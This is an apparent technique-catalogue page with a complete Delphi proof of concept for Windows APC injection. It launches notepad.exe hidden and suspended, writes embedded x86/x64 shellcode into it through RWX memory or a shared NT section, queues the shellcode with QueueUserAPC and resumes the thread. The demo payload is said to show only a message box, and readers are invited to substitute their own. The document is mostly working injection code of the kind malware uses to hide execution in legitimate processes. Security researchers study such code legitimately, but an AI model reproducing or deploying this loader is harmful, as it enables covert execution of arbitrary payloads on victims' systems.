Windows Delphi / APC injection

Author Jean-Pierre LESUEUR (DarkCoderSc)
Platform Windows
Language Delphi
Technique APC injection

Description:

This code demonstrate how to use QueueUserAPC to run code in a remote process.

PoC Steps:

  • Create a new process in suspended state.

Method N°1: * Allocate RWX memory in remote process to host our shellcode. * Copy shellcode to new memory location.

Method N°2: * Create a new memory section. * Map new memory section to current process. * Share new memory section with target process. * Copy shellcode to shared memory location.

  • Implement our shellcode to target process main thread APC queue.
  • Resume target process main thread to execute our shellcode.

⚠️ Embedded shellcode will show a message box on behalf of target process. It is harmless but I always recommend to avoid blindly running shellcode you may find in proof of concepts. Feel free to patch both x86-32 / x86-64 version with your own version.

Code

// Support both x86-32 and x86-64

program APCInjector;

{$APPTYPE CONSOLE}

{$R *.res}

uses
  System.SysUtils,
  WinAPI.Messages,
  WinAPI.Windows;

type
  EWindowsException = class(Exception)
  private
    FLastError : Integer;
  public
    {@C}
    constructor Create(const WinAPI : String); overload;

    {@G}
    property LastError : Integer read FLastError;
  end;


const STATUS_SUCCESS         = NTSTATUS($0);
      THREAD_SET_CONTEXT     = $10;
      THREAD_SUSPEND_RESUME  = $2;
      ViewShare              = 1;
      ViewUnmap              = 2;

type
  SECTION_INHERIT = ViewShare..ViewUnmap;

  ARCH_ULONG  = {$IFDEF WIN64} ULONG64  {$ELSE} ULONG  {$ENDIF};
  ARCH_PULONG = {$IFDEF WIN64} PULONG64 {$ELSE} PULONG {$ENDIF};

  function NtCreateSection(
    SectionHandle    : PHandle;
    DesiredAccess    : ACCESS_MASK;
    ObjectAttributes : Pointer;
    SectionSize      : PLargeInteger;
    Protect          : ULONG;
    Attributes       : ULONG;
    FileHandle       : THandle
  ): NTSTATUS; stdcall; external 'ntdll.dll';

  function NtMapViewOfSection(
      SectionHandle      : THandle;
      ProcessHandle      : THandle;
      BaseAddress        : PPVOID;
      ZeroBits           : ARCH_ULONG;
      CommitSize         : ARCH_ULONG;
      SectionOffset      : PLargeInteger;
      ViewSize           : ARCH_PULONG;
      InheritDisposition : SECTION_INHERIT;
      AllocationType     : ARCH_ULONG;
      Protect            : ARCH_ULONG
  ): NTSTATUS; stdcall; external 'ntdll.dll';

  function NtUnmapViewOfSection(
    ProcessHandle : THandle;
    BaseAddress   : PVOID
  ): NTSTATUS; stdcall; external 'ntdll.dll';

  function NtClose(
    Handle : THandle
  ): NTSTATUS; stdcall; external 'ntdll.dll';

  function NtTestAlert(): DWORD; stdcall; external 'ntdll.dll';

  function OpenThread(
    dwDesiredAccess : DWORD;
    bInheritHandle  : BOOL;
    dwThreadId      : DWORD
  ): DWORD; stdcall; external 'kernel32.dll';


constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
  FLastError := GetLastError();

  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
      WinAPI,
      FLastError,
      SysErrorMessage(FLastError)
  ]);

  ///
  inherited Create(AFormatedMessage);
end;

var // hWindow               : THandle;
    // AProcessId            : Cardinal;
    // AThreadId             : Integer;
    hThread               : THandle;
    // hRemoteProcess        : THandle;
    pRemotePayloadAddress : Pointer;
    hProcess              : THandle;
    AStartupInfo          : TStartupInfo;
    AProcessInfo          : TProcessInformation;

    {$IFDEF WIN64}
      // Execute a messagebox in target process (x86-64)
      const PAYLOAD : array[0..284-1] of byte = (
          $fc, $48, $81, $e4, $f0, $ff, $ff, $ff, $e8, $d0, $00, $00, $00, $41, $51,
          $41, $50, $52, $51, $56, $48, $31, $d2, $65, $48, $8b, $52, $60, $3e, $48,
          $8b, $52, $18, $3e, $48, $8b, $52, $20, $3e, $48, $8b, $72, $50, $3e, $48,
          $0f, $b7, $4a, $4a, $4d, $31, $c9, $48, $31, $c0, $ac, $3c, $61, $7c, $02,
          $2c, $20, $41, $c1, $c9, $0d, $41, $01, $c1, $e2, $ed, $52, $41, $51, $3e,
          $48, $8b, $52, $20, $3e, $8b, $42, $3c, $48, $01, $d0, $3e, $8b, $80, $88,
          $00, $00, $00, $48, $85, $c0, $74, $6f, $48, $01, $d0, $50, $3e, $8b, $48,
          $18, $3e, $44, $8b, $40, $20, $49, $01, $d0, $e3, $5c, $48, $ff, $c9, $3e,
          $41, $8b, $34, $88, $48, $01, $d6, $4d, $31, $c9, $48, $31, $c0, $ac, $41,
          $c1, $c9, $0d, $41, $01, $c1, $38, $e0, $75, $f1, $3e, $4c, $03, $4c, $24,
          $08, $45, $39, $d1, $75, $d6, $58, $3e, $44, $8b, $40, $24, $49, $01, $d0,
          $66, $3e, $41, $8b, $0c, $48, $3e, $44, $8b, $40, $1c, $49, $01, $d0, $3e,
          $41, $8b, $04, $88, $48, $01, $d0, $41, $58, $41, $58, $5e, $59, $5a, $41,
          $58, $41, $59, $41, $5a, $48, $83, $ec, $20, $41, $52, $ff, $e0, $58, $41,
          $59, $5a, $3e, $48, $8b, $12, $e9, $49, $ff, $ff, $ff, $5d, $49, $c7, $c1,
          $30, $00, $00, $00, $3e, $48, $8d, $95, $fe, $00, $00, $00, $3e, $4c, $8d,
          $85, $0b, $01, $00, $00, $48, $31, $c9, $41, $ba, $45, $83, $56, $07, $ff,
          $d5, $48, $31, $c9, $41, $ba, $f0, $b5, $a2, $56, $ff, $d5, $48, $65, $6c,
          $6c, $6f, $2c, $20, $57, $6f, $72, $6c, $64, $00, $42, $6f, $6f, $00
      );

    {$ELSE}
      // Execute a messagebox in target process (x86-32)
      const PAYLOAD : array[0..236-1] of byte = (
          $d9, $eb, $9b, $d9, $74, $24, $f4, $31, $d2, $b2, $77, $31, $c9, $64, $8b,
          $71, $30, $8b, $76, $0c, $8b, $76, $1c, $8b, $46, $08, $8b, $7e, $20, $8b,
          $36, $38, $4f, $18, $75, $f3, $59, $01, $d1, $ff, $e1, $60, $8b, $6c, $24,
          $24, $8b, $45, $3c, $8b, $54, $28, $78, $01, $ea, $8b, $4a, $18, $8b, $5a,
          $20, $01, $eb, $e3, $34, $49, $8b, $34, $8b, $01, $ee, $31, $ff, $31, $c0,
          $fc, $ac, $84, $c0, $74, $07, $c1, $cf, $0d, $01, $c7, $eb, $f4, $3b, $7c,
          $24, $28, $75, $e1, $8b, $5a, $24, $01, $eb, $66, $8b, $0c, $4b, $8b, $5a,
          $1c, $01, $eb, $8b, $04, $8b, $01, $e8, $89, $44, $24, $1c, $61, $c3, $b2,
          $04, $29, $d4, $89, $e5, $89, $c2, $68, $8e, $4e, $0e, $ec, $52, $e8, $9f,
          $ff, $ff, $ff, $89, $45, $04, $68, $6c, $6c, $20, $41, $68, $33, $32, $2e,
          $64, $68, $75, $73, $65, $72, $30, $db, $88, $5c, $24, $0a, $89, $e6, $56,
          $ff, $55, $04, $89, $c2, $50, $bb, $a8, $a2, $4d, $bc, $87, $1c, $24, $52,
          $e8, $70, $ff, $ff, $ff, $68, $42, $6f, $6f, $58, $31, $db, $88, $5c, $24,
          $03, $89, $e3, $68, $58, $20, $20, $20, $68, $6f, $72, $6c, $64, $68, $6f,
          $2c, $20, $57, $68, $48, $65, $6c, $6c, $31, $c9, $88, $4c, $24, $0c, $89,
          $e1, $31, $d2, $6a, $30, $53, $51, $52, $ff, $d0, $90
      );
    {$ENDIF}


{ Inject_WriteProcessMemory
  This method use the classic WriteProcessMemory method to inject our payload to remote process }
function Inject_WriteProcessMemory(const hProcess : THandle; const pBuffer : PVOID; const ABufferSize : Cardinal) : Pointer;
var ABytesWritten : SIZE_T;
    pAddress      : Pointer;
begin
  result := nil;
  ///

  if not Assigned(pBuffer) or (AbufferSize = 0) then
    exit();

  pAddress := VirtualAllocEx(hProcess, nil, ABufferSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  if not Assigned(pAddress) then
    raise EWindowsException.Create('VirtualAllocEx');
  ///

  if not WriteProcessMemory(hProcess, pAddress, pBuffer, ABufferSize, ABytesWritten) then
    raise EWindowsException.Create('WriteProcessMemory');
  ///

  result := pAddress;
end;

function MapViewOfSection(const ASectionHandle, hProcess : THandle; const ASectionSize : ULONG; const AInherit : SECTION_INHERIT) : Pointer;
var ANTStatus       : NTSTATUS;
    pSectionAddress : Pointer;
begin
  pSectionAddress := nil;

  ANTStatus := NtMapViewOfSection(
      ASectionHandle,
      hProcess,
      @pSectionAddress,
      0,
      0,
      nil,
      @ASectionSize,
      AInherit,
      0,
      PAGE_EXECUTE_READWRITE
  );

  if ANTStatus <> STATUS_SUCCESS then
    raise Exception.Create(Format('NtMapViewOfSection failed, NTStatus=[%d]', [ANTStatus]));

  ///
  result := pSectionAddress;
end;

{ Inject_SharedSection
  This method used a shared section to inject our payload to a remote process }
function Inject_SharedSection(const hProcess : THandle; const pBuffer : PVOID; const ABufferSize : Cardinal) : Pointer;
var ANTStatus             : NTSTATUS;
    ASectionHandle        : THandle;
    pLocalSectionAddress  : Pointer;
    pRemoteSectionAddress : Pointer;
    ASectionSize          : TLargeInteger;
begin
  result := nil;
  ///

  ASectionSize := ABufferSize;

  ASectionHandle := 0;
  pLocalSectionAddress := nil;
  try
    // Create a new memory section
    ANTStatus := NtCreateSection(
      @ASectionHandle,
        SECTION_MAP_READ or SECTION_MAP_WRITE or SECTION_MAP_EXECUTE,
        nil,
        @ASectionSize,
        PAGE_EXECUTE_READWRITE,
        SEC_COMMIT,
        0
    );

    if ANTStatus <> STATUS_SUCCESS then
      raise Exception.Create(Format('NtCreateSection failed, NTStatus=[%d]', [ANTStatus]));
    ///

    // Map new section and share it with target process
    pLocalSectionAddress  := MapViewOfSection(ASectionHandle, GetCurrentProcess(), ABufferSize, ViewUnmap);
    pRemoteSectionAddress := MapViewOfSection(ASectionHandle, hProcess, ABufferSize, ViewShare);

    // Copy our payload to our new section
    CopyMemory(pLocalSectionAddress, pBuffer, ABufferSize);
  finally
    // Unmap section for current process
    if Assigned(pLocalSectionAddress) then
      NtUnmapViewOfSection(GetCurrentProcess(), pLocalSectionAddress);

    // Close section for our current process
    if ASectionHandle <> 0 then
      NtClose(ASectionHandle);
  end;

  ///
  result := pRemoteSectionAddress; // Return payload location in remote process
end;

begin
  try
    (*
      // Bellow code demonstrate how to use FindWindow + GetWindowThreadProcessId and
      // OpenProcess to achieve the same result in an existing process.
      // Bellow method when possible is interesting to avoid iterating on threads.

      // Get target process handle from its window handle
      hWindow := FindWindowW(nil, 'PEView - Untitled');
      if hWindow = 0 then
        raise Exception.Create('Could not find window handle.');
      ///

      // Get target process identifier from its window handle
      AThreadId := GetWindowThreadProcessId(hWindow, AProcessId);
      if AProcessId = 0 then
        raise EWindowsException.Create('GetWindowThreadProcessId');
      ///

      // Open target process
      hRemoteProcess := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_WRITE, false, AProcessId);
      if hRemoteProcess = 0 then
        raise EWindowsException.Create('OpenProcess');

      // hThread := OpenThread(THREAD_SET_CONTEXT or THREAD_SUSPEND_RESUME, False, AProcessInfo.hThread);
      // if hThread = 0 then
      //    raise EWindowsException.Create('OpenThread');
    *)

    ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));
    ZeroMemory(@AStartupInfo, Sizeof(TStartupInfo));

    AStartupInfo.cb          := SizeOf(TStartupInfo);
    AStartupInfo.wShowWindow := SW_HIDE;
    AStartupInfo.dwFlags     := (STARTF_USESHOWWINDOW);

    if not CreateProcessW(
        'c:\Windows\notepad.exe', // Edit here accordingly
        nil,                      // Edit here accordingly
        nil,
        nil,
        False,
        CREATE_SUSPENDED,
        nil,
        nil,
        AStartupInfo,
        AProcessInfo
    ) then
      raise EWindowsException.Create('CreateProcessW');
    try

      try
        // Alternatively you can comment "Inject_SharedSection" and use "Inject_WriteProcessMemory" instead.
        pRemotePayloadAddress := Inject_SharedSection(AProcessInfo.hProcess, @PAYLOAD, Length(PAYLOAD));
        // pRemotePayloadAddress := Inject_WriteProcessMemory(AProcessInfo.hProcess, @PAYLOAD, Length(PAYLOAD));

        if not Assigned(pRemotePayloadAddress) then
          raise Exception.Create('Could not inject buffer to remote process.');

        if not QueueUserAPC(pRemotePayloadAddress, AProcessInfo.hThread, 0) then
          raise EWindowsException.Create('QueueUserAPC');

        ResumeThread(AProcessInfo.hThread);
      finally
        CloseHandle(hThread);
      end;
    finally
      CloseHandle(AProcessInfo.hThread);
    end;
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;
end.

Created

September 7, 2022

Last Revised

April 22, 2024